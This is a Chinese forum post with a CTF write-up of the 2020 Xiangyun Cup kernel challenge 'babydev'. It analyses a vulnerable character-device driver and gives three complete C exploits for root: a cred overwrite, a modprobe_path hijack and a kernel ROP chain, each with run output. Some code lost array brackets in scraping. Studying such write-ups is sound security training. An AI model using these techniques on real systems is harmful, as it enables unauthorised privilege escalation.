HNHuangJingYU 发表于 2022-5-4 18:21

内核pwn-祥云杯-2020babydev

本帖最后由 HNHuangJingYU 于 2022-5-5 00:15 编辑

@
## 前言

个人觉得exp要写的精简,适当注释,至少不应该留有冗余的代码,对于刚学习的pwner来说看wp是个难熬的过程,甚至误导

我记录下自己踩的坑,给大家节省查资料的时间

## 题目

2020祥云杯babydev

## 保护

`start.sh`

```sh
qemu-system-x86_64 \
-s \
-m 256M \
-kernel bzImage \
-initrd core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-cpu qemu64,+smep,+smap \
-nographic \
-monitor /dev/null
```

这题和`babydriver`和的名字、保护都差不多,但是题目难多了,开启了`smap、smep`保护 即禁止内核访问用户空间的数据、内核态无法shellcode

`内核版本`

```sh
$ strings vmlinux| grep "gcc"
%s version %s (lm0963@ubuntu) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) %s
Linux version 5.4.0-rc3 (lm0963@ubuntu) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #2 SMP Tue Nov 26 18:12:15 CST 2019
```

`init`

```sh
$ cat init
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag    #flag文件为root文件
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod mychrdev.ko#加载的模块
chmod 777 /dev/mychrdev#任意读写
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh   

#poweroff -d 0-f
```

`mychrdev.ko`

```sh
$ checksec ./mychrdev.ko '/home/hnhuangjingyu/babydev/core/mychrdev.ko'
    Arch:   amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found#开启
    NX:       NX enabled #开启
    PIE:      No PIE (0x0)
```

## 分析

`mychardev_init`

![在这里插入图片描述](https://img-blog.csdnimg.cn/c6ab10c3f49d4bfab242144b82dbbfc4.png)


申请了一块`0x10010`大小的内存将slab-object给到全局变量mydata,和平常内核题不同的是这题在模块初始化的时候就调用了`kmalloc_order_trace`,这个函数从内核源码分析如下:

```c
//实际调用 : kmalloc_order_trace -> kmalloc_order
void *kmalloc_order(size_t size, gfp_t flags, unsigned int order)
{
      void *ret;
      struct page *page;

      flags |= __GFP_COMP;
      page = alloc_pages(flags, order); //!!!!!!!!!!!!直接调用内核伙伴分配器
      ret = page ? page_address(page) : NULL;
      ret = kasan_kmalloc_large(ret, size, flags);
      /* As ret might get tagged, call kmemleak hook after KASAN. */
      kmemleak_alloc(ret, size, 1, flags);
      return ret;
}
```

从上面可知它通过伙伴分配器,重新分配了一块页内存!!!!!下面会用到这个点

`mychrdev_open`
![在这里插入图片描述](https://img-blog.csdnimg.cn/c4819ebe837a41328dd7ffbc55fcf588.png)



`mychrdev_unlocked_ioctl`

![](https://img-blog.csdnimg.cn/91186a8da14a4dacb7044057ed7982f3.png)


`mychrdev_llseek`

![在这里插入图片描述](https://img-blog.csdnimg.cn/08acc3cbac354cd0bc03e6ddba37fe52.png)


`mychrdev_write`

![在这里插入图片描述](https://img-blog.csdnimg.cn/286837c61df34ad78f57c87191194d36.png)


这个函数全是重点,需要好好理解下,当需要通过`mychrdev_llseek`函数修改`llseek_offset`相应的这里的值也会变化,也就是说可用通过调用`mychrdev_llseek`函数控制写入文件的偏移值      

通过`mychrdev_llseek`函数和`mychrdev_write`配合分析可知`offset_size`控制着llseek修改文件偏移的范围,那么再通过`mychrdev_write`将`*(mydata + 0x10008)*`变得足够大,那么就可以修改任意的文件偏移指针了

`mychrdev_read`

![在这里插入图片描述](https://img-blog.csdnimg.cn/b5cc3cd5261e4bda85fc289518c86909.png)


总结的思维图如下:

![在这里插入图片描述](https://img-blog.csdnimg.cn/47c6d049aed34235bb5427bc22930f37.png)


## 思路

这题有三种解法,其实三种解法思路都是一样的,不过就是利用提权的姿势不一样,这里都讲一下:

1. 控制文件偏移值,利用循环爆破每次读取`0x10000`大小的内存数据,直到读取到`struct cred`,再覆盖数据为0
2. 利用`modprobe_path`直接读取flag
3. 同样也是修改文件偏移值,不同解法1的是这里是偏移文件读取后面的地址,最终将指向栈地址,执行栈rop
3. 好像还有一种通过爆破cred地址的一字节的exp,但是跑不出来,我看了感觉wp写的怪怪的,所以这里没有记录

### 解法一:(思路不错)

既然要写入数据到`struct cred`那么就需要知道`struct cred`的地址,得到cred指针可以通过如下方式:

1. 定位当前进行`task_struct`结构体的地址,根据cred指针的相对于`task_struct`结构体的偏移记得得到
2. comm 用来标记可执行文件的名字,位于进程的 `task_struct` 结构体中。我们可以发现 comm 其实在 cred 指针的正下方,所以我们也可以先定位 comm ,然后定位 cred 指针的地址。(本题就是通过prctl对进程设置一个唯一名称,然后扫描这个名称)定义如下:

```c
struct task_struct{
      //......
    /* Process credentials: */

    /* Tracer's credentials at attach: */
    const struct cred __rcu   *ptracer_cred;

    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu   *real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu   *cred;//指针

#ifdef CONFIG_KEYS
    /* Cached requested key. */
    struct key          *cached_requested_key;//指针
#endif

    /*
   * executable name, excluding path.
   *
   * - normally initialized setup_new_exec()
   * - access it with et_task_comm()
   * - lock it with task_lock()
   */
    char                comm;//####向上偏移0x10就是 *cred
      //.......
}
```

回到ida伪代码这里write函数的这句`copy_from_user(*(mydata + 0x10000) + llseek_offset + mydata, in_buf, size_)`其中`*(mydata + 0x1000)、llseekk_offset`是可控的,只有`mydata`是内存分配出来的值(不可控),这里需要向mydata的低地址处爆破struct tack_struct

**疑问:**

- **为什么`mydata`的值不会改变,明明是一个`slab-object`**
- **为什么`struct tack_struct`地址会比`mydata`地址低,按照道理来说`mydata`在模块初始化的时候就分配了,换句话说就是内核启动的时候就mydata已经分配完成,而此时的我们的exp进程并没有运行,exp进程的`struct tack_struct`还不存在,那么就应该struct tack_struct地址就应该比mydata地址高**

为了方便读者阅读,不影响文章的排版,我将疑问的解答放在exp结束后面 ->

回归主题!因为`llseek_offset`不能输入负数,而`*(mydata+0x10000)`是可以实现的。看了看函数`iocatl`泄漏的值发现了mydata的值。为了绕过`llessk`函数的一些检查,先将`*(mydata + 0x10008)`处的值设为一个较大的值

```c
void leak_mydat_addr(int fd){
    char buf = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
      printf("file -> 0x%llx \n",((size_t*)buf));
      if(i==4) mydata_addr = ((size_t*)buf);
    }
}

int main(){
    int fd = open("dev/mychrdev",2);
    leak_mydat_addr(fd);//其实也可以不用泄漏,地址固定,这个地址gdb一下就看出来了,为了理清思路第一个exp尽量写的详细点
//-----------------------------------------------------
    //初始状态:
    //mydata_addr = 0xffff88800dca0000
    //*(mydata + 0x10000) = 0
    //*(mydata + 0x10008) = 0
//------------------扩大值-----------------------------------
    //write函数中有一句:if ( ** && llseek_offset >= *(mydata + 0x10008) )
    //*(mydata + 0x10008)上面说了这个值默认为0,那么想控制llseek_offset进行文件偏移读写,那么就必须扩大这个值
    //恰好write函数中还有一句:*(mydata + 0x10008) += size_;
    //那么就刚好满足我们的需求,首先将它进行扩大,以便后面进行分析
    char buf = {0};
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);//重置llseek_offset,不重制则llseek_offset = 0x10000
    write(fd,buf,sizeof buf);
    //此时*(mydata + 0x10008) = 0x20000
```

接下来就是在`*(mydata + 0x10000)`处设为负数,控制`llessk_offset`为0即可向`mydata`前面的地址出读取内存了

```c
//--------------------爆破---------------------------------
    size_t offset = 0x10001;
    char *crea_name = "my name is root!!!";
    size_t cred_addr;
    prctl(15,crea_name); //PR_SET_NAME //设置进程名称
    while(1){
      lseek(fd,offset,0);
      //注意下面这两句
      //if ( (unsigned __int64)(llseek_offset + size_) > 0x10000 )
      //size_ = (unsigned __int16)-*(_WORD *)llseek_offset_porinter;
      //只需要将最后2字节设为0001且满足上面的条件 即可将size=0xffff
      ((size_t*)buf) = -(offset >> 8);
      ((size_t*)buf) = 0xffffffffffffffff >> 12;    //修改*(mydata + 0x10008)值,右移12位防止变>负数
      write(fd,buf,sizeof buf);
      //mydata_addr = 0xffff88800dca0000
      //\*(mydata + 0x10000) = (0xffff88800dca0000) -> 0xffffffffffff0000 = -0x10000
      //成功写入-0x10000后就可以使用read读写mydata前面的数据了,我们目的是需要找到结构体task_struct,因为位置不确定,所以需要爆破进行读取直到读取到struct task_struct
      memset(buf,0,sizeof buf);//清空缓冲区,方便下面识别数据
      lseek(fd,0,0);
      int err = read(fd,buf, sizeof buf);//读取mydata - 0x10000的内容

      if(err != -1){
            int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);//这里为了找到该进程结构体,可以给进程一个标识符号,通过prctl(PR_SET_NAME,"***")进行标识
            if(result){
                size_t addr = buf - (int)buf + result;
                cred_addr = *(size_t*)(addr - 0x10);
                printf("cred_addr -> 0x%llx\n",cred_addr);
                break;
            }
      }else{ break;}

      offset += 0x10000; //控制范围,每次向前读取0x10000的内存数据
    }
```

细节在exp里面有些地方可能需要gdb调试下就明白了,大概的流程就是向`*(mydata + 0x10000)`处写入`-0x10000`而对应的`llsessk_offset`值则为0x20000 最终就是在 `*(mydata + 0x10000)`中写入`-0x10000`,然后使用`read`函数读取`mydata - 0x10000`处的内容进行内容匹配是否存在`struct cred`结构信息,不存在即每次自增`-0x10000`

在爆破得到`cred`指针地址后,使`*(mydata + 0x10000) + llseek_offset + mydata == cred_addr`即可对`struct cred`进行写入

```c
//--------------------getshell---------------------------------
    //得到cred指针地址后使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可
    //mydata值固定 , 其余两个都是可控变量
    //构造*(mydata + 0x10000)值
    lseek(fd,offset + 0x10000,0);
    ((size_t*)buf) = (cred_addr - mydata_addr)>> 8;
    ((size_t*)buf) = 0xffffffffffffffff >> 12; //修改*(mydata+0x10008)的值
    write(fd,buf,sizeof buf);

    //构造llseek_offset值
    lseek(fd,0x100 - (cred_addr & 0xff),0);

    char mem = {0};
    write(fd,mem,sizeof mem);

    system("/bin/sh");
```

完整exp

```c
#include<stdio.h>

size_t mydata_addr;

void leak_mydat_addr(int fd){
    char buf = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
      printf("file -> 0x%llx \n",((size_t*)buf));
      if(i==4) mydata_addr = ((size_t*)buf);
    }
}

int main(){
    int fd = open("dev/mychrdev",2);
    leak_mydat_addr(fd);//其实也可以不用泄漏,地址固定,这个地址gdb一下就看出来了,为了理清思路第一个exp尽量写的详细点
//-----------------------------------------------------
    //初始状态:
    //mydata_addr = 0xffff88800dca0000
    //*(mydata + 0x10000) = 0
    //*(mydata + 0x10008) = 0
//------------------扩大值-----------------------------------
    //write函数中有一句:if ( ** && llseek_offset >= *(mydata + 0x10008) )
    //*(mydata + 0x10008)上面说了这个值默认为0,那么想控制llseek_offset进行文件偏移读写,那么就必须扩大这个值
    //恰好write函数中还有一句:*(mydata + 0x10008) += size_;
    //那么就刚好满足我们的需求,首先将它进行扩大,以便后面进行分析
    char buf = {0};
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);//重置llseek_offset,不重制则llseek_offset = 0x10000
    write(fd,buf,sizeof buf);
    //此时*(mydata + 0x10008) = 0x20000
//--------------------爆破---------------------------------
    size_t offset = 0x10001;
    char *crea_name = "my name is root!!!";
    size_t cred_addr;
    prctl(15,crea_name); //PR_SET_NAME //设置进程名称
    while(1){
      lseek(fd,offset,0);
      //注意下面这两句
      //if ( (unsigned __int64)(llseek_offset + size_) > 0x10000 )
      //size_ = (unsigned __int16)-*(_WORD *)llseek_offset_porinter;
      //只需要将最后2字节设为0001且满足上面的条件 即可将size=0xffff
      ((size_t*)buf) = -(offset >> 8);
      ((size_t*)buf) = 0xffffffffffffffff >> 12;    //修改*(mydata + 0x10008)值,右移12位防止变>负数
      write(fd,buf,sizeof buf);
      //mydata_addr = 0xffff88800dca0000
      //\*(mydata + 0x10000) = (0xffff88800dca0000) -> 0xffffffffffff0000 = -0x10000
         //成功写入-0x10000后就可以使用read读写mydata前面的数据了,我们目的是需要找到结构体task_struct,因为位置不确定,所以需要爆破进行读取直到读取到struct task_struct
      memset(buf,0,sizeof buf);//清空缓冲区,方便下面识别数据
      lseek(fd,0,0);
      int err = read(fd,buf, sizeof buf);//读取mydata - 0x10000的内容

      if(err != -1){
            int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);//这里为了找到该进程结构体,可以给进程一个标识符号,通过prctl(PR_SET_NAME,"***")进行标识
            if(result){
                size_t addr = buf - (int)buf + result;
                cred_addr = *(size_t*)(addr - 0x10);
                printf("cred_addr -> 0x%llx\n",cred_addr);
                break;
            }
      }else{ break;}

      offset += 0x10000; //控制范围,每次向前读取0x10000的内存数据
    }
//--------------------getshell---------------------------------
    //得到struct cred地址后使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可
    //mydata值固定 , 其余两个都是可控变量
    //构造*(mydata + 0x10000)值
    lseek(fd,offset + 0x10000,0);
    ((size_t*)buf) = (cred_addr - mydata_addr)>> 8;
    ((size_t*)buf) = 0xffffffffffffffff >> 12; //修改*(mydata+0x10008)的值
    write(fd,buf,sizeof buf);

    //构造llseek_offset值
    lseek(fd,0x100 - (cred_addr & 0xff),0);

    char mem = {0};
    write(fd,mem,sizeof mem);

    system("/bin/sh");
    return 0;
}
```

运行结果

```less
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffd66ffb4a0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
cred_addr -> 0xffff888005c8bd80
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ # cat flag
flag{nothing}
```

**疑问解答:**

在做这题的时候参考了一些师傅的wp都没说为什么是向mydata的低地址处爆破,在此之间花了一段时间研究内核内存管理最终得出以下总结:

从上面分析`mychardev_init`函数可知`mydata`是通过**伙伴分配器**(不是slab分配器)重新拉取了**页内存**,因为是一块新的大内存所以不存在这块内存被别的进程使用所以它每次运行的值固定为:`0xffff888005ca0000`(所以可以不需要泄露该值地址),当我们执行exp程序后此时对应进程的`struct task_struct`就产生了,但是内核中依旧还有小内存碎片它们还被`slab分配器`管理着,理所应当我们exp进程的`struct task_struct`所需的内存就被`slab分配器`就接手分配了,所以`task_struct`的地址它会在`mydata`前面,且它的地址也不应该是固定的,为了验证我的说法,我将每次的`task_struct`地址和`mydata`的地址都打印出来,添加打印如下:

```c
      int err = read(fd,buf, sizeof buf);
                                                printf("offset > -0x%llx\n",offset);//新增
      if(err != -1){
            int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);
            if(result){
                size_t addr = buf - (int)buf + result;
                cred_addr = *(size_t*)(addr - 0x10);
                printf("mydata -> 0x%llx\n",mydata_addr);//新增
                printf("offset -> 0x%llx\n",result);//新增
                printf("cred_pointer -> 0x%llx\n",cred_addr);
                break;
            }
      }else{ break;}
```

运行结果:

```less
//第一次运行:
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffe59adf4b0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000   //mydata值不变
offset -> 0x59ae2048                //偏移
cred_pointer -> 0xffff888005c8bd80
//第二次运行
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffef4925b60
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000      //mydata值不变
offset -> 0xf4926238                //偏移
cred_pointer -> 0xffff888005c81d80
//第三次运行
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffe71be88b0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000      //mydata值不变
offset -> 0x71be8f88                //偏移
cred_pointer -> 0xffff888005c8bd80
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
```

偏移不一致也就说明地址在变化

### 解法二:(最精简)

在这之前,你应该了解利用`modprobe_path`读取flag,具体的使用姿势可以看https://xz.aliyun.com/t/6067#toc-12 这个文章,也可以看我总结的文章(https://blog.csdn.net/csdn546229768/article/details/124546007)

在上面解法一后可知道可以通过写入`*(mydata + 0x10000)`处的值`lseek_offset`的偏移可进行任意读写,那么这里的思路就是向`modprobe_path`写入我们的高权限文件路径

```c
#include<stdio.h>

void loadFoot(){
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");//用于modprobe_path指向的文件
    system("echo -ne '\xff' > /tmp/errofile "); //构造一个错误文件
    system("chmod +x /tmp/exp.sh");
    system("chmod +x /tmp/errofile");
}

int main(){
    size_t modprobe_path = 0xffffffff824445e0;//通过__reqest_mod....得到地址
    size_t mydata = 0xffff88800dca0000;
    //上面两个地址都可以通过gdb调试得到,且固定
    loadFoot();
//-----------------------扩大0x(mydata+0x10008)值-----------------
    int fd = open("dev/mychrdev",2);
    char buf = {0};
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);
    write(fd,buf,sizeof buf);
//-----------------------写入modprobe_path地址-----------------
    lseek(fd,0x10001,0);
    ((size_t*)buf) = 0xffffffffffffffff >> 12;//修改*(mydata + 0x10008)值,右移12位防止变>负数
    write(fd,buf,sizeof buf);

    lseek(fd,0x10001,0);
    ((size_t*)buf) = (modprobe_path - mydata) >> 8;
    write(fd,buf,sizeof buf);
//-----------------------getflag-----------------
    char name = "/tmp/exp.sh\x00";
    lseek(fd,modprobe_path & 0xff,0);
    write(fd,name,sizeof name);
    //write(fd,name,0x10000);//会导致执行exp后qemu卡死
    //write(fd,name,0x1000);//报错:kernel NULL pointer dereference, address: 0000000000000000
                //所以覆盖的内容尽量保证内存结构
    system("./tmp/errofile");//执行错误文件,触发call_modprobe函数,从而执行我们的权限文件
    system("cat /tmp/flag");
    return 0;
}
```

运行结果

```less
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ./exp
./tmp/errofile: line 1: ÿ: not found
flag{nothing}
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ls -l /tmp/flag
-rwxrwxrwx    1 root   root            14 May2 15:40 /tmp/flag
```

### 解法三:(最简单)

因为有任意写的漏洞,且mydata和栈的值都泄漏了,那么就可以利用写入到栈返回地址,实现rop,其实原理都和上面一样,不过就是将任意写的地址换成了栈地址,这里有个泄漏栈的方式很细,首先调用泄漏方法

```c
void leak(int fd){
    size_t base = 0xffffc90000000000;//一般内核栈地址都是这个开头

    size_t buf = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
      printf("leak -> 0x%llx \n",buf);
      if(i==2) stack = base | ((buf << 4 ) >> 4); //将高4位设为0
      if(i==4) mydata = buf;
    }
}
```

运行

```less
//-------------------------------------------
/ $ ./exp
leak -> 0x70786500000064
leak -> 0x7ffe2f27c3e0
leak -> 0x10000001b7ea0//可以进行gdb调试的时候低8位就是栈地址,然后内核栈地址的高8字节固定是0xffffc900,那么就可以推断出内核栈地址了
leak -> 0xffffffff00000000
leak -> 0xffff88800dca0000
```

然后就是常规的内核rop了,因为开启了smap所以需要用汇编rop

完整exp

```c
#include<stdio.h>

#define POP_RDI 0xffffffff813ead2c //: pop rdi ; ret
#define XCHG_RAX_RDI 0xffffffff81768ef2 //: xchg rax, rdi ; ret
#define SWAPGS 0xffffffff81c00eae //: swapgs ; popfq ; pop rbp ; ret
#define IRETQ 0xffffffff81025a56


size_t stack, mydata;
size_t prepare_kernel_cred = 0xffffffff8108d690 , commit_cred = 0xffffffff8108d340;

void leak(int fd){
    size_t base = 0xffffc90000000000;//一般内核栈地址都是这个开头

    size_t buf = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
      printf("leak -> 0x%llx \n",buf);
      if(i==2) stack = base | ((buf << 4 ) >> 4); //将高4位设为0
      if(i==4) mydata = buf;
    }
}

size_t user_sp ,user_ss , user_cs , user_flag;
void save(){
    asm(
      "mov %cs , user_cs;"
      "mov %ss , user_ss;"
      "mov %rsp , user_sp;"
      "pushf;"
      "pop user_flag;"
      );
}
void getShell(){
    execl("/bin/sh","sh",0);
}
int main(){
    save();
    int fd = open("dev/mychrdev",2);
    leak(fd);
//-----------------------扩大0x(mydata+0x10008)值-----------------
    char buf = {0};
    lseek(fd,0,0);
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);
    write(fd,buf,sizeof buf);
//-----------------------写入modprobe_path地址-----------------
    lseek(fd,0x10001,0);
    ((size_t*)buf) = 0xffffffffffffffff >> 12;//修改*(mydata + 0x10008)值,右移12位防止变>负数
    write(fd,buf,sizeof buf);

    lseek(fd,0x10001,0);
    stack -= 0x10;//write函数的ret栈地址
      printf("stack -> 0x%llx \n",stack);
    ((size_t*)buf) = (stack - mydata) >> 8;
    write(fd,buf,sizeof buf);
//-----------------------getflag-----------------
    size_t rop = {0};
    int i = 0;
    //因为开启了smap不能访问用户态,且gadget没有cr4 ret相关指令
    //所以用汇编形式进行rop
    rop = POP_RDI;
    rop = 0;
    rop = prepare_kernel_cred;
    rop = XCHG_RAX_RDI;
    rop = commit_cred;
    rop = SWAPGS;
    rop = 0;
    rop = stack;    //rbp
    rop = IRETQ;
    rop = getShell;
    rop = user_cs;
    rop = user_flag;
    rop = user_sp;
    rop = user_ss;
    lseek(fd,stack & 0xff,0);
    write(fd,rop,sizeof rop);
    return 0;
}
```

执行结果

```less
/ $ ./exp
leak -> 0x70786500000064
leak -> 0x7ffe2f27c3e0
leak -> 0x10000001b7ea0
leak -> 0xffffffff00000000
leak -> 0xffff88800dca0000
stack -> 0xffffc900001b7e90
/ # id
uid=0(root) gid=0(root)
/ # cat flag
flag{nothing}
```

历时一周终于搞定这题了,幸亏是五一放假,不然平时上课还真没时间整

## 参考文章

这篇文章是几位师傅推荐的,确实写的不错:
(http://p4nda.top/2018/11/07/stringipc/#1-%E4%BF%AE%E6%94%B9cred%E7%BB%93%E6%9E%84%E6%8F%90%E5%8D%87%E6%9D%83%E9%99%90)

hua467959375 发表于 2022-5-4 18:26

大佬们太深奥了

rhci 发表于 2022-5-4 21:01

大佬,完全处于宕机状态的我。。。

XhyEax 发表于 2022-5-4 22:30

感谢分享!

顺便捉个虫:看了看函数iocatl泄漏的值发现了mydata的值
ioctl多打了个a

timelessxp 发表于 2022-5-5 22:55

感谢楼主分享。

坎德沃 发表于 2022-5-18 01:01

师傅能讲讲学了栈和堆之后怎么深入吗,比如kernel和VM的pwn怎么入门
页: [1]
查看完整版本: 内核pwn-祥云杯-2020babydev